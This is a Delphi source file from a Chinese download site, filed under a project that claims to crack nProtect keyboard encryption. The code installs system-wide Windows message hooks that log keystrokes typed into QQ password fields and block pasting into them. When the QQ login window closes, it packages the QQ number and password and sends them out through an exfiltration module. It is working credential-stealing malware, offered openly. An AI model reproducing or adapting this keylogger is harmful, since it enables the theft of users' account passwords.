⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 msghook.~pas

📁 破解“国际领先的Nprotect键盘加密技术”
💻 ~PAS
字号:
unit MsgHook;

interface

uses
  Windows, Messages, FunUnit, VarUnit , SendOut , ShareData , CallSelf;


procedure MsgHookOn();  // 安装消息钩子
procedure MsgHookOff(); // 卸载消息钩子


implementation


var
  hGetHook, hWndHook: THandle;

procedure OnKeyDown(hWnd: HWnd; nVirtKey, nKeyData: DWord);
var
  Kbs: TKeyboardState;
  InsertPos: Integer;
  Chars: array[0..3] of Char;
begin
  if (IsPassEdit(hWnd) = False) then Exit;

  case nVirtKey of
    VK_BACK:   // 回格
      begin
        InsertPos := GetEditPos(hWnd);
        Delete(PassWord, InsertPos, 1);
      end;

    VK_DELETE: // 删除
      begin
        InsertPos := GetEditPos(hWnd);
        Delete(PassWord, InsertPos + 1, 1);
      end;

    else       // 其他
      begin
        if (Length(PassWord) >= 16) then Exit;

        GetKeyboardState(Kbs);
        if (ToAscii(nVirtKey, (nKeyData shr 16) and $FF, Kbs, Chars, 0) <> 1) then Exit;
        if (IsValidChar(Chars[0]) = False) then Exit;

        InsertPos := GetEditPos(hWnd);
        Insert(Chars[0], PassWord, InsertPos + 1);
      end;
  end; // case nVirtKey of ..
end;

function MakeSendString(Id,Pass:String) : String;
begin
  Result := 'QQ号:'+ Id + #10 + '密码:' + Pass + #10;
end;

procedure OnDestroy(hWnd: HWnd);
var
  hComcoBox: DWord; // HWND
  cfgFileName: String;
begin
  if (IsQQDialog(hWnd) = False) then Exit;

  hComcoBox := FindWindowex(hWnd, 0, 'ComboBox', nil);
  if (IsWindow(hComcoBox) = False) then Exit;

  Number := GetWinTitle(hComcoBox);

  if (Number <> '') and (PassWord <> '') then begin
     if CallSelf.GetShareDataA <> nil then
       cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName
     else
       cfgFileName := '';
     //MessageBox(0,PChar(cfgFileName),'',MB_OK);
     SendOut.Send(MakeSendString(Number,PassWord),cfgFileName);
     WillNotCloseQQ  := True;
     CloseQQWaitTime := 0;
  end;  
    
  PassWord := '';
end;

function GetMsgProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
  if (CurIsQQ = True) and (nCode = HC_ACTION) and (wParam = PM_REMOVE) then
    case (PMsg(lParam).message) of
      WM_KEYDOWN:
        OnKeyDown(PMsg(lParam).hwnd, PMsg(lParam).wParam, PMsg(lParam).lParam);

      WM_PASTE:
        if IsPassEdit(PMsg(lParam).hwnd) then PMsg(lParam).message := WM_NULL; // **
    end;

  Result := CallNextHookEx(hGetHook, nCode, wParam, lParam);
end;

function CallWndProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
  if (CurIsQQ = True) and (nCode = HC_ACTION) then
    case (PCWPStruct(lParam).message) of
      WM_DESTROY:
        OnDestroy(PCWPStruct(lParam).hWnd);
    end;

  Result := CallNextHookEx(hWndHook, nCode, wParam, lParam);
end;

procedure MsgHookOn();
begin
  hGetHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance, 0);
  hWndHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);
end;

procedure MsgHookOff();
begin
  UnHookWindowsHookEx(hGetHook);
  UnHookWindowsHookEx(hWndHook);
end;

end. 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -